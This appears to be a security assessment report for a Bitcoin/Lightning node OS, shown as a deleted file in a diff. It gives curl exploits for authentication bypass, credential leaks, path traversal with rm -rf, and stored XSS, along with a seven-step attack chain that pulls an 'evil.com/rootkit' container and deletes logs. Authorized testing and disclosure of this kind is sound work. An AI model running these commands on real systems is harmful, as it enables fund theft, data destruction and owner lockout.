**Summary: 27 findings** (8 Critical, 10 High, 6 Medium, 3 Low)
|
||||
|
||||
The report includes:
|
||||
|
||||
- **Executive summary** with overall CRITICAL rating and top 3 recommendations
|
||||
- **Scope and methodology** covering nmap, source review, and live exploitation
|
||||
- **Full findings table** — 21 exploitation-confirmed + 6 recon-confirmed
|
||||
- **Detailed findings** — each with evidence (curl commands + responses), impact, and OWASP mapping
|
||||
- **Critical attack chain** — 7-step full compromise from any LAN device, zero auth
|
||||
- **Prioritized recommendations** — 20 remediation items across P0/P1/P2
|
||||
- **Positive security controls** — bcrypt, TOTP, session tokens, container security noted
|
||||
- **Appendices** — port inventory, container list, root cause tree, OWASP mapping, non-exploitable exclusions
|
||||
|
||||
The root cause is AUTH-001 (no session management). Fixing it addresses 15 of 27 findings. Combined with credential lockdown and port binding, 23 of 27 are resolved.
|
||||
@@ -1,782 +0,0 @@
|
||||
# Security Assessment Report — Archipelago Node OS
|
||||
|
||||
**Target:** http://192.168.1.228
|
||||
**Assessment Period:** 2026-03-06 through 2026-03-18
|
||||
**Assessor:** Authorized internal penetration test (owner-approved)
|
||||
**Classification:** CONFIDENTIAL
|
||||
|
||||
---
|
||||
|
||||
## 1. Executive Summary
|
||||
|
||||
An authorized penetration test was conducted against the Archipelago Bitcoin Node OS instance at 192.168.1.228. The assessment covered the full attack surface: 20+ open TCP ports, 30+ nginx proxy routes, 150+ JSON-RPC methods, WebSocket endpoints, and direct service ports hosting Bitcoin, Lightning, and 30 containerized applications.
|
||||
|
||||
### Overall Risk Rating: CRITICAL
|
||||
|
||||
The system has **no functional authentication**. The backend verifies passwords but creates no server-side session — every RPC endpoint, WebSocket connection, and internal service is accessible to any device on the LAN without credentials. This single architectural flaw, combined with unauthenticated exposure of LND admin macaroons and Bitcoin RPC access via hardcoded credentials, means any LAN-adjacent attacker has complete control over the node's financial infrastructure.
|
||||
|
||||
### Findings by Severity
|
||||
|
||||
| Severity | Count | Categories |
|
||||
|----------|-------|------------|
|
||||
| **Critical** | 8 | Auth bypass (4), credential exposure (2), SSRF+RCE (1), path traversal (1) |
|
||||
| **High** | 10 | Brute force (1), access control (3), CORS (2), SSRF (2), headers (1), default creds (1) |
|
||||
| **Medium** | 6 | Auth (2), XSS (1), info disclosure (2), API proxy (1) |
|
||||
| **Low** | 3 | Reflection (1), log injection (1), info disclosure (1) |
|
||||
| **Total** | **27** | |
|
||||
|
||||
### Top 3 Recommendations
|
||||
|
||||
1. **Implement server-side session management immediately.** Wire the existing `core/startos/src/middleware/auth.rs` session middleware into the RPC handler. This single fix addresses 15 of 27 findings.
|
||||
|
||||
2. **Lock down financial service access.** Require authentication on `/lnd-connect-info`, remove hardcoded Bitcoin RPC credentials (`archipelago:archipelago123`), change Grafana default password (`admin:admin`), and bind all service ports to `127.0.0.1`.
|
||||
|
||||
3. **Implement input validation on all RPC parameters.** `package.uninstall` accepts path traversal (`../../`), `package.install` pulls from arbitrary registries, and `container-install` reads arbitrary filesystem paths. Apply the existing `validate_app_id()` whitelist to all package operations.
|
||||
|
||||
---
|
||||
|
||||
## 2. Scope and Methodology
|
||||
|
||||
### Scope
|
||||
|
||||
| Component | In Scope | Notes |
|
||||
|-----------|----------|-------|
|
||||
| Nginx reverse proxy (port 80/443) | Yes | All locations, security headers, proxy routes |
|
||||
| Rust backend (port 5678) | Yes | All 150+ RPC methods, HTTP endpoints, WebSocket |
|
||||
| Vue 3 frontend | Yes | Client-side auth, XSS sinks, postMessage handlers |
|
||||
| Direct service ports (20+) | Yes | Grafana, LND, Bitcoin UI, NPM, Portainer, etc. |
|
||||
| Containerized services (30) | Limited | Default credentials, port exposure, auth bypass |
|
||||
| SSH (port 22) | Out of scope | — |
|
||||
| Denial of service | Out of scope | — |
|
||||
|
||||
### Tools and Techniques
|
||||
|
||||
- **Reconnaissance:** Nmap 7.98 (service enumeration, version detection), WhatWeb (technology fingerprinting), manual HTTP probing
|
||||
- **Source code review:** Full Rust backend (`core/`), Vue frontend (`neode-ui/src/`), nginx configs, systemd service files
|
||||
- **Live exploitation:** curl-based proof-of-concept against all RPC endpoints, WebSocket testing via Node.js client, browser console testing
|
||||
- **Authentication testing:** Session analysis, brute force validation, CORS policy testing, cookie analysis
|
||||
- **Injection testing:** Path traversal, SSRF via Tor proxy, container image injection, log injection, XSS payload storage
|
||||
|
||||
### Limitations
|
||||
|
||||
- Individual containerized applications were not deeply tested beyond default credential checks and port exposure
|
||||
- SSH was not tested (out of scope)
|
||||
- No denial-of-service testing performed
|
||||
- Testing limited to LAN access (no internet-facing assessment)
|
||||
- Some client-side findings (postMessage origin bypass) confirmed via source review only, not live exploitation
|
||||
|
||||
---
|
||||
|
||||
## 3. Findings Summary Table
|
||||
|
||||
### Exploitation-Confirmed Findings (21)
|
||||
|
||||
| ID | Severity | Type | Endpoint | OWASP |
|
||||
|----|----------|------|----------|-------|
|
||||
| AUTH-001 | **Critical** | No session management | `auth.login` | A07:2021 |
|
||||
| AUTH-002 | **Critical** | All RPC unauthenticated | All 150+ RPC methods | A01:2021 |
|
||||
| AUTH-005 | **Critical** | Frontend-only auth | `localStorage` | A07:2021 |
|
||||
| AUTH-007 | **Critical** | Unauthenticated WebSocket | `WS /ws/db` | A01:2021 |
|
||||
| SSRF-004 | **Critical** | Arbitrary container pull + RCE | `package.install` | A10:2021 |
|
||||
| INJ-002 | **Critical** | Path traversal → `rm -rf` | `package.uninstall` | A03:2021 |
|
||||
| AUTH-003 | High | No brute force protection | `auth.login` | A07:2021 |
|
||||
| AUTH-008 | High | P2P message injection | `/archipelago/node-message` | A03:2021 |
|
||||
| AUTH-009 | High | CORS wildcard | Port 5678 all endpoints | A05:2021 |
|
||||
| AUTH-011 | High | LND proxy unauthenticated | `/proxy/lnd/*` | A01:2021 |
|
||||
| XSS-004 | High | Missing security headers | All pages (nginx) | A05:2021 |
|
||||
| XSS-007 | High | CORS enables cross-origin attacks | Combined with AUTH-009 | A05:2021 |
|
||||
| SSRF-001 | High | Blind SSRF + port injection | `node-check-peer` | A10:2021 |
|
||||
| SSRF-002 | High | Outbound SSRF + identity leak | `node-send-message` | A10:2021 |
|
||||
| AUTH-006 | Medium | No-op logout | `auth.logout` | A07:2021 |
|
||||
| AUTH-012 | Medium | Unauthenticated container logs | `/api/container/logs` | A01:2021 |
|
||||
| XSS-001 | Medium | Stored XSS (Vue-escaped) | `/archipelago/node-message` | A03:2021 |
|
||||
| INJ-001 | Medium | File existence oracle | `container-install` | A01:2021 |
|
||||
| INJ-006 | Medium | Unauthenticated AI API proxy | `/aiui/api/claude/*` | A01:2021 |
|
||||
| XSS-005 | Low | Echo reflects arbitrary input | `echo` method | A03:2021 |
|
||||
| INJ-007 | Low | Log injection | `/archipelago/node-message` | A09:2021 |
|
||||
|
||||
### Recon-Confirmed Findings (6)
|
||||
|
||||
| ID | Severity | Type | Endpoint | OWASP |
|
||||
|----|----------|------|----------|-------|
|
||||
| RECON-001 | **Critical** | LND admin macaroon exposure | `GET /lnd-connect-info` | A01:2021 |
|
||||
| RECON-002 | **Critical** | Bitcoin RPC hardcoded creds | `POST :8334/bitcoin-rpc/` | A05:2021 |
|
||||
| RECON-003 | High | Grafana default admin:admin | `GET :3000/api/org` | A07:2021 |
|
||||
| RECON-004 | High | Content catalog leak | `GET /content` | A01:2021 |
|
||||
| RECON-005 | High | NPM admin on LAN | Port 81 (setup:false) | A05:2021 |
|
||||
| RECON-006 | Medium | Service ports bypass auth | Ports 3000,3001,7777,8080,9000 | A05:2021 |
|
||||
|
||||
---
|
||||
|
||||
## 4. Detailed Findings
|
||||
|
||||
---
|
||||
|
||||
### AUTH-001 — No Server-Side Session Management [CRITICAL]
|
||||
|
||||
**CVSS 3.1:** 9.8 | **OWASP:** A07:2021 — Identification and Authentication Failures
|
||||
|
||||
The `auth.login` RPC method verifies the password against a bcrypt hash but returns `null` on success. No session token, cookie, or JWT is created. There is zero server-side session state. Session management code exists in `core/startos/src/middleware/auth.rs` (cookie-based sessions, SHA-256 token hashing, rate limiting) but is **not wired** into the `core/archipelago/` request pipeline.
|
||||
|
||||
**Evidence:**
|
||||
```bash
|
||||
curl -sv -X POST http://192.168.1.228/rpc/v1 \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"jsonrpc":"2.0","id":1,"method":"auth.login","params":{"password":"test123test"}}'
|
||||
```
|
||||
```
|
||||
< HTTP/1.1 200 OK
|
||||
< Server: nginx/1.22.1
|
||||
< Content-Type: application/json
|
||||
< Content-Length: 78
|
||||
< Connection: keep-alive
|
||||
{"result":null,"error":{"code":-1,"message":"Password Incorrect","data":null}}
|
||||
```
|
||||
|
||||
No `Set-Cookie` header present. Even on a correct login, the response is `{"result":null,"error":null}` — no session token. The password verification is cosmetic.
|
||||
|
||||
**Impact:** This is the root cause of the majority of findings. All 150+ RPC methods are permanently accessible without authentication. The login endpoint is a no-op.
|
||||
|
||||
**Remediation:** Wire `core/startos/src/middleware/auth.rs` into the HTTP handler. Add session creation to `auth.login` on success, and session validation middleware before RPC dispatch.
|
||||
|
||||
---
|
||||
|
||||
### AUTH-002 — All Sensitive RPC Endpoints Callable Without Authentication [CRITICAL]
|
||||
|
||||
**CVSS 3.1:** 9.8 | **OWASP:** A01:2021 — Broken Access Control
|
||||
|
||||
Due to AUTH-001, all 150+ RPC methods accept requests without any authentication. The RPC handler dispatches directly to method handlers via a flat `match` statement with no middleware.
|
||||
|
||||
**Evidence — Node Identity Leak:**
|
||||
```bash
|
||||
curl -s -X POST http://192.168.1.228/rpc/v1 \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"jsonrpc":"2.0","id":2,"method":"node.did","params":{}}'
|
||||
```
|
||||
```json
|
||||
{
|
||||
"result": {
|
||||
"did": "did:key:z6MkmkSBSqcKJW7T7iQbFJ8JhHCDSoFi8fSpRiktQfi6E5R2",
|
||||
"pubkey": "6c682474d91a2272ed1e7cddfacff7d0db1cd7f494e65a03a6a3a0c1de0b09f9"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**Evidence — Cryptographic Key Signing Oracle:**
|
||||
```bash
|
||||
curl -s -X POST http://192.168.1.228/rpc/v1 \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"jsonrpc":"2.0","id":11,"method":"node.signChallenge","params":{"challenge":"pentest-proof-of-concept"}}'
|
||||
```
|
||||
```json
|
||||
{
|
||||
"result": {
|
||||
"signature": "bb10f455fe99794be4e14c233511fe2abc9e019490902b7407835767ff1b0f281e591088be4b434370a52521db741b2598796b9fda2ff24294658e02fc3d040a"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**Evidence — System Onboarding Reset (system takeover):**
|
||||
```bash
|
||||
curl -s -X POST http://192.168.1.228/rpc/v1 \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"jsonrpc":"2.0","id":17,"method":"auth.resetOnboarding","params":{}}'
|
||||
```
|
||||
```json
|
||||
{"result": true, "error": null}
|
||||
```
|
||||
|
||||
**Evidence — Full Peer Network Exposure:**
|
||||
```bash
|
||||
curl -s -X POST http://192.168.1.228/rpc/v1 \
|
||||
-d '{"jsonrpc":"2.0","id":5,"method":"node-list-peers","params":{}}'
|
||||
```
|
||||
```json
|
||||
{
|
||||
"result": {
|
||||
"peers": [
|
||||
{
|
||||
"onion": "5sgfyeax3qolikxqxez5qidoj7hzgbi67qxihdadtebps2yqfre2avqd.onion",
|
||||
"pubkey": "dea8d3cbca0fbe041357c8639a4dad3abbf32fc734e8fc0bd82a562d5e6df51d"
|
||||
},
|
||||
{
|
||||
"onion": "a36eaqmxsdeept7ogodaypdw6hpmoqfwzxc5gcchkci4tcqixkpnntad.onion",
|
||||
"pubkey": "6c682474d91a2272ed1e7cddfacff7d0db1cd7f494e65a03a6a3a0c1de0b09f9"
|
||||
}
|
||||
]
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**Confirmed unauthenticated methods (partial list):**
|
||||
|
||||
| Category | Methods |
|
||||
|----------|---------|
|
||||
| Container control | `container-install`, `container-start`, `container-stop`, `container-remove`, `container-list` |
|
||||
| Package management | `package.install`, `package.start`, `package.stop`, `package.restart`, `package.uninstall` |
|
||||
| Cryptographic ops | `node.signChallenge`, `node.createBackup` |
|
||||
| Identity exposure | `node.did`, `node.nostr-pubkey`, `node.tor-address` |
|
||||
| P2P operations | `node-add-peer`, `node-remove-peer`, `node-send-message`, `node-list-peers`, `node-check-peer` |
|
||||
| Auth management | `auth.changePassword`, `auth.resetOnboarding`, `auth.logout` |
|
||||
| Bitcoin/Lightning | `bitcoin.getinfo`, `lnd.getinfo`, `lnd.sendcoins`, `lnd.payinvoice` |
|
||||
|
||||
**Impact:** An unauthenticated attacker on the LAN can: leak the node's DID and Nostr pubkey; expose Tor onion addresses of all peers; sign arbitrary data with the node's ed25519 private key (identity impersonation); reset onboarding state (system takeover); control the full container lifecycle; and potentially send Bitcoin/Lightning transactions.
|
||||
|
||||
---
|
||||
|
||||
### RECON-001 — Unauthenticated LND Admin Macaroon Exposure [CRITICAL]
|
||||
|
||||
**CVSS 3.1:** 9.8 | **OWASP:** A01:2021 — Broken Access Control
|
||||
|
||||
`GET /lnd-connect-info` returns the full LND admin macaroon without any authentication. CORS is set to `Access-Control-Allow-Origin: *`.
|
||||
|
||||
**Evidence:**
|
||||
```bash
|
||||
curl -sk http://192.168.1.228/lnd-connect-info
|
||||
```
|
||||
```json
|
||||
{
|
||||
"cert_base64url": "MIIC...",
|
||||
"grpc_port": 10009,
|
||||
"macaroon_base64url": "AgED...",
|
||||
"rest_port": 8080
|
||||
}
|
||||
```
|
||||
|
||||
Macaroon permissions: `address:rw`, `info:rw`, `invoices:rw`, `macaroon:generate/rw`, `message:rw`, `offchain:rw`, `onchain:rw`, `peers:rw`, `signer:generate/read`.
|
||||
|
||||
**Impact:** Any device on the LAN can retrieve the admin macaroon and gain **complete control** of the Lightning node — send all funds, drain channels, open/close channels, generate new macaroons, sign messages. This is equivalent to exposing the root private key for the Lightning wallet.
|
||||
|
||||
**Remediation:** Require session authentication on `/lnd-connect-info`. Use read-only macaroon for status checks; only expose admin macaroon via authenticated RPC with explicit user confirmation.
|
||||
|
||||
---
|
||||
|
||||
### RECON-002 — Bitcoin RPC Full Access via Hardcoded Credentials [CRITICAL]
|
||||
|
||||
**CVSS 3.1:** 9.1 | **OWASP:** A05:2021 — Security Misconfiguration
|
||||
|
||||
Port 8334 proxies Bitcoin Core RPC with hardcoded Basic Auth credentials `archipelago:archipelago123` stored in a version-controlled nginx config file (`docker/bitcoin-ui/nginx.conf`).
|
||||
|
||||
**Evidence:**
|
||||
```bash
|
||||
curl -sk -X POST http://192.168.1.228:8334/bitcoin-rpc/ \
|
||||
-u archipelago:archipelago123 \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"jsonrpc":"1.0","id":"test","method":"getblockchaininfo","params":[]}'
|
||||
```
|
||||
```json
|
||||
{"result":{"chain":"main","blocks":941146,...},"error":null}
|
||||
```
|
||||
|
||||
Confirmed: mainnet node, block 941146, 828GB on disk.
|
||||
|
||||
**Impact:** Full Bitcoin Core RPC access on a live mainnet node. If wallet is loaded, attacker can call `sendtoaddress`, `dumpprivkey`, `listunspent`, or any Bitcoin RPC method. Credentials are committed to version control.
|
||||
|
||||
**Remediation:** Remove hardcoded credentials from nginx config. Proxy Bitcoin RPC through the authenticated Rust backend only. Bind port 8334 to `127.0.0.1`. Generate unique RPC credentials per installation.
|
||||
|
||||
---
|
||||
|
||||
### AUTH-005 — Frontend-Only Authentication Enforcement [CRITICAL]
|
||||
|
||||
**CVSS 3.1:** 9.8 | **OWASP:** A07:2021 — Identification and Authentication Failures
|
||||
|
||||
Authentication exists only in the Vue.js frontend. The auth state is `localStorage.getItem('neode-auth') === 'true'`. Session "validation" calls `server.echo` — an unprotected endpoint that always succeeds — creating a circular trust loop.
|
||||
|
||||
**Impact:** `localStorage.setItem('neode-auth','true'); location.href='/dashboard'` in the browser console grants full UI access without a password.
|
||||
|
||||
---
|
||||
|
||||
### AUTH-007 — Unauthenticated WebSocket Full State Dump [CRITICAL]
|
||||
|
||||
**CVSS 3.1:** 8.6 | **OWASP:** A01:2021 — Broken Access Control
|
||||
|
||||
The WebSocket endpoint at `/ws/db` accepts connections without authentication and immediately streams 20,402 bytes of complete system state.
|
||||
|
||||
**Evidence:**
|
||||
```bash
|
||||
curl -sv -H "Upgrade: websocket" -H "Connection: Upgrade" \
|
||||
-H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
|
||||
-H "Sec-WebSocket-Version: 13" http://192.168.1.228/ws/db
|
||||
```
|
||||
|
||||
Response: `101 Switching Protocols`, then full state dump:
|
||||
```json
|
||||
{
|
||||
"rev": 43,
|
||||
"data": {
|
||||
"server-info": {
|
||||
"id": "6c682474d91a2272",
|
||||
"version": "0.1.0",
|
||||
"pubkey": "6c682474d91a2272ed1e7cddfacff7d0db1cd7f494e65a03a6a3a0c1de0b09f9",
|
||||
"status-info": { "restarting": false, "shutting-down": false }
|
||||
},
|
||||
"package-data": {
|
||||
"homeassistant": { "state": "running" },
|
||||
"fedimint": { "state": "running" },
|
||||
"photoprism": { "state": "running" }
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**Impact:** Any LAN client receives: node identity, all 30 installed packages, running states, internal ports, and real-time updates.
|
||||
|
||||
---
|
||||
|
||||
### SSRF-004 — Arbitrary Container Image Pull + Execution [CRITICAL]
|
||||
|
||||
**CVSS 3.1:** 9.8 | **OWASP:** A10:2021 — Server-Side Request Forgery
|
||||
|
||||
The `package.install` RPC method accepts an arbitrary `dockerImage` parameter and executes `podman pull` to any registry without authentication, allowlisting, or image signature verification.
|
||||
|
||||
**Evidence:**
|
||||
```bash
|
||||
curl -s -X POST http://192.168.1.228/rpc/v1 \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"method":"package.install","params":{"id":"pentest-ssrf-probe","dockerImage":"localhost:1/nonexistent:latest"}}'
|
||||
```
|
||||
```json
|
||||
{
|
||||
"error": {
|
||||
"code": -1,
|
||||
"message": "Failed to pull image: Trying to pull localhost:1/nonexistent:latest...\ntime=\"2026-03-06T02:34:07Z\" level=warning msg=\"Failed, retrying in 1s ... (1/3). Error: initializing source docker://localhost:1/nonexistent:latest: pinging container registry localhost:1: Get \\\"https://localhost:1/v2/\\\": dial tcp [::1]:1: connect: connection refused\"\n..."
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**Impact:** Unauthenticated arbitrary container image pull (SSRF) + potential execution (RCE). Error output leaks internal IPs and retry behavior.
|
||||
|
||||
---
|
||||
|
||||
### INJ-002 — Path Traversal in package.uninstall [CRITICAL]
|
||||
|
||||
**CVSS 3.1:** 9.1 | **OWASP:** A03:2021 — Injection
|
||||
|
||||
The `package.uninstall` handler constructs a filesystem path from the `id` parameter without sanitization. Path traversal sequences resolve to arbitrary directories for `rm -rf`.
|
||||
|
||||
**Evidence:**
|
||||
```bash
|
||||
curl -s -X POST http://192.168.1.228/rpc/v1 \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"method":"package.uninstall","params":{"id":"../../tmp/pentest-traversal-probe"}}'
|
||||
```
|
||||
```json
|
||||
{"result":{"status":"uninstalled"},"error":null}
|
||||
```
|
||||
|
||||
Path `/var/lib/archipelago/../../tmp/pentest-traversal-probe` → `/tmp/pentest-traversal-probe` — traversal accepted, success returned.
|
||||
|
||||
**Impact:** Unauthenticated arbitrary directory deletion. Could target `/etc/nginx`, `/opt/archipelago`, `/var/log`.
|
||||
|
||||
---
|
||||
|
||||
### AUTH-003 — No Brute Force Protection on Login [HIGH]
|
||||
|
||||
**CVSS 3.1:** 7.5 | **OWASP:** A07:2021 — Identification and Authentication Failures
|
||||
|
||||
**Evidence:**
|
||||
```bash
|
||||
for i in $(seq 1 10); do
|
||||
curl -s -o /dev/null -w "Attempt $i: HTTP %{http_code}\n" \
|
||||
-X POST http://192.168.1.228/rpc/v1 \
|
||||
-d "{\"method\":\"auth.login\",\"params\":{\"password\":\"wrong$i\"}}"
|
||||
done
|
||||
```
|
||||
All 10 rapid-fire attempts returned HTTP 200. No lockout, delay, or CAPTCHA. Direct backend access (port 5678) bypasses nginx rate limiting.
|
||||
|
||||
---
|
||||
|
||||
### AUTH-008 — Unauthenticated P2P Message Injection + Spoofing [HIGH]
|
||||
|
||||
**CVSS 3.1:** 7.5 | **OWASP:** A03:2021 — Injection
|
||||
|
||||
**Evidence:**
|
||||
```bash
|
||||
curl -s -X POST http://192.168.1.228/archipelago/node-message \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"from_pubkey":"PENTEST_PROBE_KEY","message":"pentest-verification-message"}'
|
||||
```
|
||||
Response: `{"ok":true}` — message stored and displayed in UI as if from legitimate peer.
|
||||
|
||||
**Impact:** Social engineering, phishing, impersonation via spoofed peer messages. No signature verification.
|
||||
|
||||
---
|
||||
|
||||
### AUTH-009 — CORS Wildcard on Backend Port 5678 [HIGH]
|
||||
|
||||
**CVSS 3.1:** 7.4 | **OWASP:** A05:2021 — Security Misconfiguration
|
||||
|
||||
**Evidence:**
|
||||
```bash
|
||||
curl -s -D- -X POST http://192.168.1.228:5678/archipelago/node-message \
|
||||
-H 'Origin: http://evil.com' \
|
||||
-d '{"from_pubkey":"cors-test","message":"cors-test"}'
|
||||
```
|
||||
Response: `access-control-allow-origin: *`
|
||||
|
||||
Confirmed on: `/archipelago/node-message`, `/api/container/logs`, `/electrs-status`, `/proxy/lnd/*`
|
||||
|
||||
**Impact:** Any website can silently interact with the backend via cross-origin requests, turning LAN-only vulnerabilities into remote drive-by attacks.
|
||||
|
||||
---
|
||||
|
||||
### AUTH-011 — Unauthenticated LND Proxy [HIGH]
|
||||
|
||||
**CVSS 3.1:** 7.5 | **OWASP:** A01:2021 — Broken Access Control
|
||||
|
||||
`/proxy/lnd/*` on port 5678 is reachable without authentication, CORS wildcard set. Currently blocked by TLS mismatch but auth/CORS issues confirmed.
|
||||
|
||||
---
|
||||
|
||||
### RECON-003 — Grafana Default Credentials [HIGH]
|
||||
|
||||
**CVSS 3.1:** 7.2 | **OWASP:** A07:2021 — Identification and Authentication Failures
|
||||
|
||||
**Evidence:**
|
||||
```bash
|
||||
curl -sk http://192.168.1.228:3000/api/org -u admin:admin
|
||||
```
|
||||
```json
|
||||
{"id":1,"name":"Main Org.","address":{...}}
|
||||
```
|
||||
Grafana 10.2.0 — full admin access with default `admin:admin`.
|
||||
|
||||
---
|
||||
|
||||
### RECON-004 — Unauthenticated Content Catalog Exposure [HIGH]
|
||||
|
||||
**OWASP:** A01:2021 — Broken Access Control
|
||||
|
||||
`GET /content` returns complete file catalog (filenames, sizes, MIME types, UUIDs) without authentication. Personal music files with full paths disclosed. UUIDs enable direct download via `/content/{id}`.
|
||||
|
||||
---
|
||||
|
||||
### RECON-005 — Nginx Proxy Manager Direct LAN Access [HIGH]
|
||||
|
||||
**OWASP:** A05:2021 — Security Misconfiguration
|
||||
|
||||
Port 81 serves NPM admin interface on LAN. API returns `"setup": false` — potential initial admin takeover. NPM controls all reverse proxy routing.
|
||||
|
||||
---
|
||||
|
||||
### XSS-004 — Missing Security Headers [HIGH]
|
||||
|
||||
**OWASP:** A05:2021 — Security Misconfiguration
|
||||
|
||||
**Evidence:**
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Server: nginx/1.22.1
|
||||
Content-Type: text/html
|
||||
```
|
||||
Missing: CSP, X-Frame-Options, X-Content-Type-Options, HSTS, Referrer-Policy. No defense-in-depth against XSS or clickjacking.
|
||||
|
||||
---
|
||||
|
||||
### XSS-007 — CORS Enables Cross-Origin Attack Delivery [HIGH]
|
||||
|
||||
**OWASP:** A05:2021 — Security Misconfiguration
|
||||
|
||||
CORS wildcard on port 5678 combined with no authentication enables any website to exploit all findings remotely. An attacker's webpage can inject messages, read logs, and access services.
|
||||
|
||||
---
|
||||
|
||||
### SSRF-001 — Blind SSRF via node-check-peer with Port Injection [HIGH]
|
||||
|
||||
**CVSS 3.1:** 7.3 | **OWASP:** A10:2021 — Server-Side Request Forgery
|
||||
|
||||
**Evidence:**
|
||||
```bash
|
||||
curl -s -X POST http://192.168.1.228/rpc/v1 \
|
||||
-d '{"method":"node-check-peer","params":{"onion":"aaaa...aaa.onion:9999"}}'
|
||||
```
|
||||
Port injection accepted. Boolean `reachable` response leaks service availability through Tor.
|
||||
|
||||
---
|
||||
|
||||
### SSRF-002 — SSRF via node-send-message [HIGH]
|
||||
|
||||
**CVSS 3.1:** 6.5 | **OWASP:** A10:2021 — Server-Side Request Forgery
|
||||
|
||||
**Evidence:**
|
||||
```bash
|
||||
curl -s -X POST http://192.168.1.228/rpc/v1 \
|
||||
-d '{"method":"node-send-message","params":{"onion":"aaaa...aaa","message":"ssrf-probe"}}'
|
||||
```
|
||||
Forced outbound HTTP POST via Tor. Error messages leak full URL, proxy status. Request body includes node's public key.
|
||||
|
||||
---
|
||||
|
||||
### AUTH-006 — No-Op Logout [MEDIUM]
|
||||
|
||||
Logout returns `null` — no session exists to invalidate.
|
||||
|
||||
---
|
||||
|
||||
### AUTH-012 — Unauthenticated Container Log Access [MEDIUM]
|
||||
|
||||
Container logs accessible on port 5678 without authentication. CORS wildcard set. Logs may contain credentials and configuration data.
|
||||
|
||||
---
|
||||
|
||||
### XSS-001 — Stored XSS Payloads in P2P Messages [MEDIUM]
|
||||
|
||||
**Evidence:**
|
||||
```bash
|
||||
curl -X POST http://192.168.1.228/archipelago/node-message \
|
||||
-d '{"from_pubkey":"\" onfocus=alert(1) autofocus=\"","message":"<img src=x onerror=alert(document.cookie)>"}'
|
||||
```
|
||||
Payloads stored verbatim server-side. Currently mitigated by Vue auto-escaping. No server-side sanitization — defense-in-depth absent.
|
||||
|
||||
---
|
||||
|
||||
### INJ-001 — File Existence Oracle via container-install [MEDIUM]
|
||||
|
||||
Different error messages for existing vs. non-existing files: "Failed to parse manifest" (exists) vs. "Failed to read manifest file" (doesn't exist). Enables unauthenticated filesystem enumeration.
|
||||
|
||||
---
|
||||
|
||||
### INJ-006 — Unauthenticated Claude/OpenRouter API Proxy [MEDIUM]
|
||||
|
||||
`/aiui/api/claude/*` and `/aiui/api/openrouter/*` proxy to AI APIs using the owner's credentials without authentication. Financial impact via credit consumption.
|
||||
|
||||
---
|
||||
|
||||
### RECON-006 — Service Ports Bypass Authentication [MEDIUM]
|
||||
|
||||
Ports 3000, 3001, 7777, 8080, 8082, 8083, 8085, 8888, 9000 directly accessible, bypassing nginx security headers, rate limiting, and session validation.
|
||||
|
||||
---
|
||||
|
||||
### XSS-005 — Echo Endpoint Reflects Arbitrary Input [LOW]
|
||||
|
||||
`echo` method reflects arbitrary content in JSON response. Low risk due to `application/json` Content-Type.
|
||||
|
||||
---
|
||||
|
||||
### INJ-007 — Log Injection via P2P Messages [LOW]
|
||||
|
||||
Newline characters stored in message fields without sanitization. Could create fake log entries.
|
||||
|
||||
---
|
||||
|
||||
### Info Disclosure — Version and Service Information [LOW]
|
||||
|
||||
| Source | Information Exposed |
|
||||
|--------|-------------------|
|
||||
| `Server` header | nginx/1.22.1 |
|
||||
| Port 81 | NPM 2.14.0 |
|
||||
| Port 3000 `/api/health` | Grafana 10.2.0, commit hash |
|
||||
| Port 8080 TLS cert | Internal IPs, Tailscale IPs, link-local addresses |
|
||||
| `/electrs-status` | Blockchain sync 99%, index 124.8GB |
|
||||
| Error messages | "Password Incorrect" confirms account exists |
|
||||
|
||||
---
|
||||
|
||||
## 5. Critical Attack Chain
|
||||
|
||||
Full system compromise from any LAN device, zero authentication required:
|
||||
|
||||
```bash
|
||||
# 1. Steal Lightning wallet credentials
|
||||
curl -s http://TARGET/lnd-connect-info
|
||||
# Returns: admin macaroon, TLS cert, gRPC/REST ports
|
||||
|
||||
# 2. Access Bitcoin RPC with hardcoded credentials
|
||||
curl -s -X POST http://TARGET:8334/bitcoin-rpc/ -u archipelago:archipelago123 \
|
||||
-d '{"method":"getblockchaininfo","params":[]}'
|
||||
|
||||
# 3. Dump full system state
|
||||
wscat -c ws://TARGET/ws/db
|
||||
|
||||
# 4. Sign arbitrary data as the node
|
||||
curl -s http://TARGET/rpc/v1 \
|
||||
-d '{"method":"node.signChallenge","params":{"challenge":"attacker-controlled-data"}}'
|
||||
|
||||
# 5. Execute attacker-controlled container
|
||||
curl -s http://TARGET/rpc/v1 \
|
||||
-d '{"method":"package.install","params":{"id":"backdoor","dockerImage":"evil.com/rootkit:latest"}}'
|
||||
|
||||
# 6. Delete evidence via path traversal
|
||||
curl -s http://TARGET/rpc/v1 \
|
||||
-d '{"method":"package.uninstall","params":{"id":"../../var/log"}}'
|
||||
|
||||
# 7. Lock out legitimate user
|
||||
curl -s http://TARGET/rpc/v1 -d '{"method":"auth.resetOnboarding"}'
|
||||
```
|
||||
|
||||
**Result:** Complete node takeover — Lightning funds drained, Bitcoin RPC accessed, identity stolen, arbitrary code executing, logs deleted, owner locked out.
|
||||
|
||||
---
|
||||
|
||||
## 6. Recommendations
|
||||
|
||||
### Priority 0 — Immediate (before any user testing)
|
||||
|
||||
| # | Action | Findings Addressed | Effort |
|
||||
|---|--------|-------------------|--------|
|
||||
| 1 | **Wire session middleware into RPC handler.** Integrate `core/startos/src/middleware/auth.rs`. Create sessions on login, validate on every request. | AUTH-001/002/005/006/007/008/012, SSRF-001/002/004, INJ-001/002, XSS-001, INJ-007 | Medium |
|
||||
| 2 | **Require auth on `/lnd-connect-info`.** Remove CORS wildcard. | RECON-001 | Small |
|
||||
| 3 | **Remove hardcoded Bitcoin RPC credentials.** Bind port 8334 to localhost. | RECON-002 | Small |
|
||||
